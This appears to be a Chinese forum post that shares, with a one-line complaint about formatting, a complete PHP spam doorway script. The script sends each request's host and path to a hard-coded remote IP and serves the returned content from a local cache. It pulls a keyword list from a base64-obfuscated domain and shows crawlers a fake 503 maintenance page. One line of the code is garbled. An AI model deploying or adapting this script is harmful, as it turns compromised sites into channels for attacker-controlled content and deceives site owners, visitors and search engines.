| 
 | 
排了半天的版。。为毛最后多个括号 
- <?php
 
 - define('s_u','http://108.186.234.233/');
 
 - define('m_i','1');
 
 - define('h_t',$_SERVER['SERVER_NAME']);
 
 - define('s_s','@Googlebot|EmbeddedWB|yahoo|MJ12bot|AhrefsBot|BLEXBot|EasouSpider|YandexBot|Exabot@i');
 
  
-         function r_k($l){
 
 -                 $ch = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9');
 
 -                 $str='';
 
 -                 for ($i = 0;$i <$l;$i++) {
 
 -                         $str .= $ch[mt_rand(0,35)];
 
 -                 }return $str;
 
 -         }
 
  
-         function g_c($url){
 
 -                 $ch = curl_init();
 
 -                 curl_setopt ($ch, CURLOPT_URL, $url);
 
 -                 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
 
 -                 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT,10);
 
 -                 curl_setopt ($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
 
 -                 return curl_exec($ch);
 
 -         }
 
  
- class d58Cache {
 
 -         private $_unitNum = 999;
 
 -         private $_unitFloor = 3;
 
 -         private $_pix = '_';
 
 -         private $_now = 0;
 
 -         public $baseDir = ''; 
 
 -         public $dirMode = 0777;
 
  
-         public function __construct($baseDir = null) {
 
 -                 if ($baseDir) {
 
 -                         $this->baseDir = $baseDir;
 
 -                 } else {
 
 -                         $this->baseDir = dirname(__FILE__) . DIRECTORY_SEPARATOR . '_Data';
 
 -                 }
 
 -                 if ($_SERVER['REQUEST_TIME']) {
 
 -                         $this->_now = $_SERVER['REQUEST_TIME'];
 
 -                 } else {
 
 -                         $this->_now = time();
 
 -                 }
 
 -         }
 
  
-         public function isExists($id, $timeout = 0, $isCreate = false) {
 
 -                 $file = $this->hashId($id);
 
 -                 if (!is_file($file)) {
 
 -                         if (is_file($file . '.lock')) {
 
 -                                 return 'LOCKED';
 
 -                         }
 
 -                         return false;
 
 -                 }
 
 -                 return true;
 
 -         }
 
  
-         public function set($id, $data = null) {
 
 -                 return $this->_writeFile($this->hashId($id), $this->_encode($data));
 
 -         }
 
  
-         public function get($id, $lockread = false) {
 
 -                 return $this->_decode($this->_readFile($this->hashId($id), $lockread));
 
 -         }
 
  
-         public function del($id) {
 
 -                 return $this->_deleteFile($this->hashId($id));
 
 -         }
 
  
-         public function hashId($id) {
 
 -                 if (!is_numeric($id)) {
 
 -                         $id = $this->enId($id);
 
 -                         $notNum = 'a'; 
 
 -                 }
 
 -                 $id = $tid = $id;
 
 -                 $hash = '';
 
 -                 $pow = 0;
 
 -                 for ($i = $this->_unitFloor; $i ; $i--) {
 
 -                         $pow = pow($this->_unitNum, $i);
 
 -                         $unit = floor($tid / $pow);
 
 -                         if ($unit > $this->_unitNum) {
 
 -                                 $unit = $this->_unitNum;
 
 -                         }
 
 -                         $hash .= $this->_pix . $unit . DIRECTORY_SEPARATOR;
 
 -                         $tid = $tid - $unit * $pow;
 
 -                 }
 
 -                 unset($pow, $tid, $unit, $i);
 
 -                 return $this->baseDir . DIRECTORY_SEPARATOR . $hash . ($notNum) . $id . '.txt';
 
 -         }
 
  
-         public function enId($data) {
 
 -                 return sprintf('%011u', crc32($data));
 
 -         }
 
  
-         private function _encode($data) {
 
 -                 $array = array('source' => $data);
 
 -                 return '<?php die(\'Cache Page by d58Cache.\') ?>' . serialize($array);
 
 -         }
 
  
-         protected function _decode($data) {
 
 -                 $array = unserialize($data);
 
 -                 return $array['source'];
 
 -         }
 
  
-         protected function _writeFile($file, $data) {
 
 -                 $dir = dirname($file);
 
 -                 if (!is_dir($dir)) {
 
 -                         mkdir($dir, $this->dirMode, true);
 
 -                 }
 
 -                 if (!is_file($file) && is_file($file . '.lock')){
 
 -                         return false;
 
 -                 }
 
 -                 $mqr = get_magic_quotes_runtime();
 
 -                 set_magic_quotes_runtime(0);
 
 -                 $re = @ file_put_contents($file, $data, LOCK_EX); 
 
 -                 set_magic_quotes_runtime($mqr);return $re;
 
 -         }
 
  
-         protected function _readFile($file, $lockread = false) {
 
 -                 if (!is_file($file)){
 
 -                         if (!$lockread) {
 
 -                         return false;
 
 -                         }
 
 -                 $file .= '.lock'; 
 
 -                 if (!is_file($file)) {
 
 -                         return false;
 
 -                         }
 
 -                 }
 
 -                 return file_get_contents($file, null, null, 39);
 
 -         }
 
  
-         protected function _deleteFile($file) {
 
 -                 if (is_file($file)){
 
 -                         return unlink($file);
 
 -                 }
 
 -                 return false;
 
 -         }
 
  
-         public function lock($id) {
 
 -                 $file = $this->hashId($id);
 
 -                 if (!is_file($file) && is_file($file . '.lock')){
 
 -                         return true;
 
 -                 }
 
 -                 return rename($file, $file . '.lock');
 
 -         }
 
  
-         public function unlock($id) {
 
 -                 $file = $this->hashId($id);
 
 -                 if (is_file($file) && !is_file($file . '.lock')){
 
 -                         return true;
 
 -                 }
 
 -                 return rename( $file . '.lock', $file);
 
 -         }
 
 - }
 
  
- function s_p(){
 
 -         $d='';
 
 -         if(isset($_SERVER['REQUEST_URI'])){
 
 -                 $d=$_SERVER['REQUEST_URI'];
 
 -         }
 
 -         else{
 
 -                 if(isset($_SERVER['argv'])){
 
 -                         $d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
 
 -                 }else{
 
 -                         $d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
 
 -                 }
 
 -         }
 
 -         if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){
 
 -                 if(function_exists('mb_convert_encoding')){
 
 -                         $d=mb_convert_encoding($d,'UTF-8','GBK');
 
 -                 }else{
 
 -                         $d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$diconv('GBK','UTF-8',$d);
 
 -                 }
 
 -         }
 
 -         $r=explode('#',$d,2);
 
 -         $d=$r[0];return $d;
 
 - }
 
  
-         function r_l(){
 
 -                 return "?".r_k(4).'/'.r_k(mt_rand(4,6)).'.html';
 
 -         }
 
  
-         set_time_limit(20);
 
 -         error_reporting(0);
 
  
-         function r_c(){
 
 -                 global $b1,$b1s;
 
 -                 return trim($b1[mt_rand(0,$b1s)]);
 
 -         }
 
  
-         define('r_s',$_SERVER['HTTP_REFERER']);
 
 -         define('u_s',$_SERVER['HTTP_USER_AGENT']);
 
  
-         if(preg_match(s_s,u_s)){
 
 -                 header('HTTP/1.1 503 Service Temporarily Unavailable');
 
 -                 echo '对不起,页面维护中,请稍后访问!';
 
 -                 die;
 
 -         }else {
 
 -                 header('HTTP/1.1 200 OK');
 
 -                 $cache = new d58Cache();
 
 -                 $_pa=explode('/',$_SERVER['PHP_SELF']);
 
 -                 $_mp=str_replace(end($_pa),'',$_SERVER['PHP_SELF']);
 
 -                 define('m_l',$_mp);
 
 -                 define('h_z',s_p());
 
 -                 $m_d=md5(h_z);
 
 -                 if ($cache -> isExists($m_d)){
 
 -                         $d_c = $cache -> get($m_d);
 
 -                 }else{
 
 -                         $d_u=s_u.'?mi='.m_i.'&xu='.bin2hex(h_z);
 
 -                         $d_u.='&xh='.bin2hex(h_t);
 
 -                         $d_u.='&ml='.bin2hex(m_l);
 
 -                         $d_c=g_c($d_u);
 
 -                         if(!stristr(h_z,"sitemap.")) $cache -> set($m_d,$d_c);
 
 -                 }
 
  
-         if(!is_file("b.txt")){
 
 -                 $btdb=g_c("http://s1".base64_decode("LmQ1OC5uZXQvcy8=")."getbt.php");
 
 -                 if(!$btdb) $btdb=g_c("http://s2".base64_decode("LmQ1OC5uZXQvcy8=")."/getbt.php");
 
 -                 if(trim($btdb)){
 
 -                         $bts=fopen("b.txt","w");
 
 -                         fwrite($bts,trim(mb_convert_encoding($btdb,'gbk','utf-8')));
 
 -                         fclose($bts);
 
 -                 }
 
 -         }
 
  
-         $b1=file('b.txt');
 
 -         $b1s=ceil(count($b1)-1);
 
 -         $d_c=preg_replace_callback("/{link}/iUs", "r_l",$d_c);
 
 -         $d_c=preg_replace_callback("/{name}/iUs", "r_c",$d_c);
 
 -         echo $d_c;
 
 -         }
 
 - ?>
 
  复制代码 |   
 
 
 
 |